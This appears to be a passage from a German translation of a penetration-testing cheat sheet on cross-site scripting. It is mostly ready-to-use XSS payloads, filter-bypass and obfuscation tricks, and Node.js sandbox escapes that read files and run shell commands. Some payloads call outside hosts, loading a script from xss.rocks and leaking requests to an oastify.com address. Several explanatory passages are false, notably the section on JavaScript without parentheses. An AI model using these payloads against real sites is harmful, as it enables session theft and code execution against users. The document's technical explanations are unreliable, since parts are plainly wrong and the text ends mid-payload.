Wenn <> bereinigt werden, können Sie immer noch den String escapen, an der Stelle, an der Ihre Eingabe sich befindet, und beliebiges JS ausführen. Es ist wichtig, die JS-Syntax zu korrigieren, da bei Fehlern der JS-Code nicht ausgeführt wird:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template-Literale ``

Um Zeichenketten zu konstruieren, akzeptiert JS neben einfachen und doppelten Anführungszeichen auch Backticks ``. Dies wird als Template-Literale bezeichnet, da sie es ermöglichen, eingebettete JS-Ausdrücke mit der Syntax ${ ... } zu verwenden.
Daher können Sie, wenn Sie feststellen, dass Ihre Eingabe in einer JS-Zeichenkette reflektiert wird, die Backticks verwendet, die Syntax ${ ... } missbrauchen, um beliebigen JS-Code auszuführen:

Dies kann missbraucht werden, indem:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Ausführung von codierten Codes

Eine weitere Möglichkeit, Cross-Site-Scripting (XSS) auszunutzen, besteht darin, codierten Code auszuführen. Dies kann erreicht werden, indem spezielle Zeichen oder Codierungen verwendet werden, um den Code zu verschleiern und zu umgehen.

HTML-Entitäten

HTML-Entitäten sind spezielle Zeichenfolgen, die verwendet werden, um Sonderzeichen in HTML zu repräsentieren. Durch die Verwendung von HTML-Entitäten können wir den Code so codieren, dass er nicht als solcher erkannt wird.

Ein Beispiel für die Verwendung von HTML-Entitäten ist die Codierung des Zeichens < als &lt; und des Zeichens > als &gt;. Wenn der Server den codierten Code empfängt und ihn in HTML umwandelt, wird der Code nicht als solcher erkannt und ausgeführt.

URL-Codierung

Eine andere Möglichkeit, den Code zu verschleiern, besteht darin, ihn mit URL-Codierung zu versehen. Dies bedeutet, dass spezielle Zeichen durch eine Hexadezimaldarstellung ersetzt werden. Zum Beispiel wird das Zeichen < durch %3C und das Zeichen > durch %3E ersetzt.

Wenn der Server den codierten Code empfängt und ihn decodiert, wird der Code wieder in seine ursprüngliche Form gebracht und ausgeführt.

JavaScript-Codierung

JavaScript bietet auch verschiedene Codierungstechniken, um den Code zu verschleiern. Eine häufig verwendete Methode ist die Verwendung von JavaScript Escape-Sequenzen. Zum Beispiel wird das Zeichen < durch \x3C und das Zeichen > durch \x3E ersetzt.

Wenn der Server den codierten Code empfängt und ihn in JavaScript ausführt, wird der Code wieder in seine ursprüngliche Form gebracht und ausgeführt.

Es ist wichtig zu beachten, dass die Verwendung von codiertem Code nicht immer erfolgreich ist, da es von der Art der Codierung und der Art der Serververarbeitung abhängt. Es ist daher ratsam, verschiedene Codierungstechniken auszuprobieren, um die beste Methode für den jeweiligen Fall zu finden.

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicode-kodierte JS-Ausführung

Eine Möglichkeit, JavaScript-Code in einer XSS-Schwachstelle auszuführen, besteht darin, den Code mit Unicode-Zeichen zu kodieren. Dies kann dazu führen, dass der Code von den Sicherheitsmechanismen der Anwendung nicht erkannt wird.

Um diese Technik anzuwenden, müssen Sie den JavaScript-Code in Unicode-Zeichen umwandeln. Dies kann mithilfe von Online-Tools oder Python-Skripten erfolgen. Der Unicode-Code für jeden Buchstaben im JavaScript-Code wird dann in das HTML-Injektionspunkt eingefügt.

Beispiel:

<script>
var payload = "\u0061\u006c\u0065\u0072\u0074('\u0048\u0061\u0063\u006b\u0069\u006e\u0067')";
eval(payload);
</script>

In diesem Beispiel wird der JavaScript-Code alert('Hacking') in Unicode-Zeichen umgewandelt und in die Variable payload eingefügt. Die eval-Funktion wird dann verwendet, um den Code auszuführen und ein Popup-Fenster mit dem Text "Hacking" anzuzeigen.

Es ist wichtig zu beachten, dass diese Technik möglicherweise nicht in allen Situationen erfolgreich ist, da einige Anwendungen möglicherweise spezielle Filter oder Sicherheitsmechanismen implementiert haben, um Unicode-kodierte Angriffe zu erkennen und zu blockieren.

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

JavaScript-Bypass-Techniken für Blacklists

Zeichenketten

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Spezielle Escapes

In some cases, the traditional HTML entities may not work for escaping characters in XSS payloads. In such situations, special escapes can be used to bypass filters and successfully execute the payload.

Here are some commonly used special escapes:

  • Double URL encoding: This involves encoding the payload twice using URL encoding (%25). For example, <script> can be encoded as %253Cscript%253E.

  • UTF-7 encoding: This encoding technique can be used to bypass filters that only decode UTF-8 encoded characters. For example, <script> can be encoded as +ADw-script+AD4-.

  • CSS escape sequences: CSS escape sequences can be used to bypass filters that only look for HTML entities. For example, <script> can be encoded as \3Cscript\3E.

  • JavaScript Unicode encoding: This technique involves encoding the payload using Unicode characters. For example, <script> can be encoded as \u003Cscript\u003E.

  • Hex encoding: Hex encoding can be used to bypass filters that only look for ASCII characters. For example, <script> can be encoded as %3C%73%63%72%69%70%74%3E.

It is important to note that the effectiveness of these special escapes may vary depending on the specific filter being bypassed. Therefore, it is recommended to test different escape techniques to find the one that works best in a given scenario.

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Raumsubstitutionen innerhalb des JS-Codes

In some cases, when trying to inject JavaScript code into a vulnerable parameter, spaces may cause issues. This can happen when the application uses a function like eval() or new Function() to execute the injected code. These functions interpret spaces as separators between different parts of the code, which can lead to syntax errors.

To bypass this limitation, you can use different techniques to substitute spaces within the JavaScript code. Here are a few examples:

  1. String concatenation: Instead of using spaces directly, you can split the code into multiple strings and concatenate them using the + operator. For example, instead of alert('Hello World'), you can write alert('Hello' + 'World').

  2. Unicode encoding: You can replace spaces with their Unicode representation. For example, the Unicode representation of a space is \u0020. So, instead of alert('Hello World'), you can write alert('Hello\u0020World').

  3. HTML entities: Another option is to use HTML entities to represent spaces. The HTML entity for a space is &#32;. So, instead of alert('Hello World'), you can write alert('Hello&#32;World').

By using these techniques, you can bypass restrictions caused by spaces and successfully inject JavaScript code into vulnerable parameters. However, keep in mind that different applications may have different sanitization mechanisms in place, so it's important to test and adapt these techniques accordingly.

<TAB>
/**/

JavaScript-Kommentare (aus dem Trick JavaScript-Kommentare )

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript Zeilenumbrüche (aus dem Trick JavaScript Zeilenumbruch )

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScript Leerzeichen

JavaScript Leerzeichen können in Cross-Site-Scripting (XSS) Angriffen verwendet werden, um Sicherheitsmechanismen zu umgehen und schädlichen Code einzufügen. Es gibt verschiedene Arten von Leerzeichen, die in JavaScript verwendet werden können, um XSS-Payloads zu verschleiern.

  • Normale Leerzeichen: Das sind die gewöhnlichen Leerzeichen, die wir in Texten verwenden. Sie können verwendet werden, um Code zu trennen und XSS-Payloads zu verbergen.

  • Tabulatorzeichen: Tabulatorzeichen werden verwendet, um Code zu formatieren und zu strukturieren. Sie können auch verwendet werden, um XSS-Payloads zu verschleiern.

  • Zeilenumbruchzeichen: Zeilenumbruchzeichen werden verwendet, um den Code auf verschiedene Zeilen aufzuteilen. Sie können auch verwendet werden, um XSS-Payloads zu verbergen.

  • Carriage Return Zeichen: Carriage Return Zeichen werden verwendet, um den Cursor an den Anfang der aktuellen Zeile zu setzen. Sie können auch verwendet werden, um XSS-Payloads zu verschleiern.

  • Form Feed Zeichen: Form Feed Zeichen werden verwendet, um den Code zu formatieren und zu strukturieren. Sie können auch verwendet werden, um XSS-Payloads zu verbergen.

  • Nullzeichen: Nullzeichen werden verwendet, um den Code zu terminieren. Sie können auch verwendet werden, um XSS-Payloads zu verschleiern.

Diese verschiedenen Arten von Leerzeichen können in Kombination mit anderen Techniken verwendet werden, um XSS-Angriffe effektiver zu gestalten und Sicherheitsmechanismen zu umgehen. Es ist wichtig, diese Leerzeichen zu berücksichtigen und entsprechende Filtermechanismen zu implementieren, um XSS-Angriffe zu verhindern.

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript in einem Kommentar

Einige Webanwendungen erlauben Benutzern das Hinzufügen von Kommentaren zu bestimmten Inhalten. Oft wird der Inhalt dieser Kommentare nicht ausreichend überprüft, was es Angreifern ermöglicht, schädlichen Javascript-Code in den Kommentaren einzufügen.

Ein Beispiel für eine solche Schwachstelle ist das Einfügen von Javascript-Code innerhalb eines HTML-Kommentars. Wenn der Kommentar nicht ordnungsgemäß gefiltert wird, kann der eingefügte Javascript-Code beim Laden der Seite ausgeführt werden.

Um diese Schwachstelle auszunutzen, kann ein Angreifer Javascript-Code innerhalb eines Kommentars platzieren, der dann von allen Benutzern angezeigt wird, die den Kommentar lesen. Dieser Code kann verwendet werden, um sensible Informationen zu stehlen, Benutzer zu überwachen oder bösartige Aktionen im Namen des Benutzers auszuführen.

Es ist wichtig, dass Entwickler sicherstellen, dass alle Benutzereingaben, einschließlich Kommentare, ordnungsgemäß validiert und gefiltert werden, um das Einfügen von schädlichem Javascript-Code zu verhindern.

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript ohne Klammern

In JavaScript, parentheses are used to group expressions and control the order of operations. However, there are certain scenarios where you can write JavaScript code without using parentheses. This can make the code more concise and easier to read.

Here are some examples of JavaScript code without parentheses:

  1. Function Invocation: When invoking a function without any arguments, you can omit the parentheses. For example, instead of writing myFunction(), you can write myFunction.

  2. Conditional Statements: In conditional statements like if and while, you can omit the parentheses around the condition. For example, instead of writing if (condition) { ... }, you can write if condition { ... }.

  3. Mathematical Expressions: When performing simple mathematical operations, you can omit the parentheses. For example, instead of writing (2 + 3) * 4, you can write 2 + 3 * 4.

  4. Object Literal: When defining an object literal with a single property, you can omit the parentheses around the property name. For example, instead of writing { name: 'John' }, you can write { name: 'John' }.

It's important to note that while omitting parentheses can make the code more concise, it can also make it less readable, especially for complex expressions. Therefore, it's recommended to use parentheses when necessary to ensure clarity and avoid any potential confusion.

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Beliebiger Funktionsaufruf (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM-Schwachstellen

Es gibt JS-Code, der unsicher von einem Angreifer kontrollierte Daten wie location.href verwendet. Ein Angreifer könnte dies missbrauchen, um beliebigen JS-Code auszuführen.
Aufgrund der Erweiterung der Erklärung von DOM-Schwachstellen wurde sie auf diese Seite verschoben:

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Dort finden Sie eine detaillierte Erklärung, was DOM-Schwachstellen sind, wie sie provoziert werden und wie man sie ausnutzt.
Vergessen Sie auch nicht, dass am Ende des genannten Beitrags eine Erklärung zu DOM-Clobbering-Angriffen zu finden ist.

Andere Umgehungen

Normalisiertes Unicode

Sie können überprüfen, ob die reflektierten Werte auf dem Server (oder auf der Client-Seite) Unicode-normalisiert werden und diese Funktion nutzen, um Schutzmaßnahmen zu umgehen. Hier finden Sie ein Beispiel.

PHP FILTER_VALIDATE_EMAIL-Flag-Umgehung

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails Umgehung

Aufgrund der RoR Massenzuweisung werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen und zusätzliche Felder (onfocus) können innerhalb des Tags hinzugefügt werden.
Beispiel für ein Formular (aus diesem Bericht), wenn Sie das Payload senden:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Das Paar "Key","Value" wird wie folgt zurückgegeben:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.

Besondere Kombinationen

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS mit Header-Injection in einer 302-Antwort

Wenn Sie feststellen, dass Sie Header in einer 302 Redirect-Antwort injizieren können, können Sie versuchen, den Browser dazu zu bringen, beliebigen JavaScript-Code auszuführen. Dies ist nicht trivial, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Statuscode 302 ist. Daher ist nur eine Cross-Site Scripting-Payload nutzlos.

In diesem Bericht und diesem Bericht können Sie lesen, wie Sie verschiedene Protokolle im Location-Header testen können, um zu sehen, ob einer von ihnen es dem Browser ermöglicht, die XSS-Payload im Körper zu inspizieren und auszuführen.
Bekannte Protokolle: mailto://, //x:1/, ws://, wss://, leerer Location-Header, resource://.

Nur Buchstaben, Zahlen und Punkte

Wenn Sie das Callback angeben können, das JavaScript ausführen wird, begrenzt auf diese Zeichen. Lesen Sie diesen Abschnitt dieses Beitrags, um herauszufinden, wie Sie dieses Verhalten missbrauchen können.

Gültige <script>-Content-Types für XSS

(Aus hier) Wenn Sie versuchen, ein Skript mit einem Content-Type wie application/octet-stream zu laden, wirft Chrome folgenden Fehler:

Refused to execute script from https://uploader.c.hc.lc/uploads/xxx' because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.

Die einzigen Content-Types, die Chrome unterstützen, um ein geladenes Skript auszuführen, sind diejenigen, die in der Konstanten kSupportedJavascriptTypes von https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc enthalten sind.

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Skripttypen für XSS

(Von hier) Also, welche Typen könnten angegeben werden, um ein Skript zu laden?

<script type="???"></script>

Die Antwort lautet:

  • Modul (Standard, nichts zu erklären)
  • webbundle: Web-Bundles ist eine Funktion, mit der Sie eine Vielzahl von Daten (HTML, CSS, JS...) in einer .wbn-Datei zusammenfassen können.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Ermöglicht die Verbesserung der Import-Syntax
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Dieses Verhalten wurde in diesem Bericht verwendet, um eine Bibliothek auf eval umzumappen und sie zu missbrauchen, um XSS auszulösen.

  • speculationrules: Diese Funktion dient hauptsächlich zur Lösung einiger Probleme, die durch das Vorrendern verursacht werden. Es funktioniert folgendermaßen:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

Web-Inhaltsarten für XSS

(Von hier) Die folgenden Inhaltsarten können XSS in allen Browsern ausführen:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? nicht in der Liste, aber ich glaube, ich habe das in einem CTF gesehen)
  • application/rss+xml (ausgeschaltet)
  • application/atom+xml (ausgeschaltet)

In anderen Browsern können andere Content-Types verwendet werden, um beliebigen JS-Code auszuführen. Siehe: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml-Inhaltstyp

Wenn die Seite einen text/xml-Inhaltstyp zurückgibt, ist es möglich, einen Namespace anzugeben und beliebigen JS-Code auszuführen:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Spezielle Ersetzungsmuster

Wenn etwas wie "some {{template}} data".replace("{{template}}", <user_input>) verwendet wird, kann der Angreifer spezielle Zeichenkettenersetzungsmuster verwenden, um einige Schutzmaßnahmen zu umgehen: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Zum Beispiel wurde in diesem Bericht dies verwendet, um eine JSON-Zeichenkette in einem Skript zu entkommen und beliebigen Code auszuführen.

Chrome-Cache zu XSS

{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}

XS-Jails-Escape

Wenn Sie nur eine begrenzte Anzahl von Zeichen verwenden können, überprüfen Sie diese anderen gültigen Lösungen für XSJail-Probleme:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Wenn alles undefiniert ist, bevor nicht vertrauenswürdiger Code ausgeführt wird (wie in diesem Bericht) ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen:

  • Verwendung von import()
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • Indirekter Zugriff auf require

Gemäß dieser Quelle werden Module in Node.js in einer Funktion umschlossen, wie folgt:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Daher ist es möglich, wenn wir aus diesem Modul eine andere Funktion aufrufen können, arguments.callee.caller.arguments[1] aus dieser Funktion zu verwenden, um auf require zuzugreifen:

{% code overflow="wrap" %}

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

{% endcode %}

Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, Fehlerbehandlungsroutinen zu verwenden, um auf den Wrapper des Moduls zuzugreifen und die require-Funktion zu erhalten:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Obfuscation & Fortgeschrittene Umgehung

//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]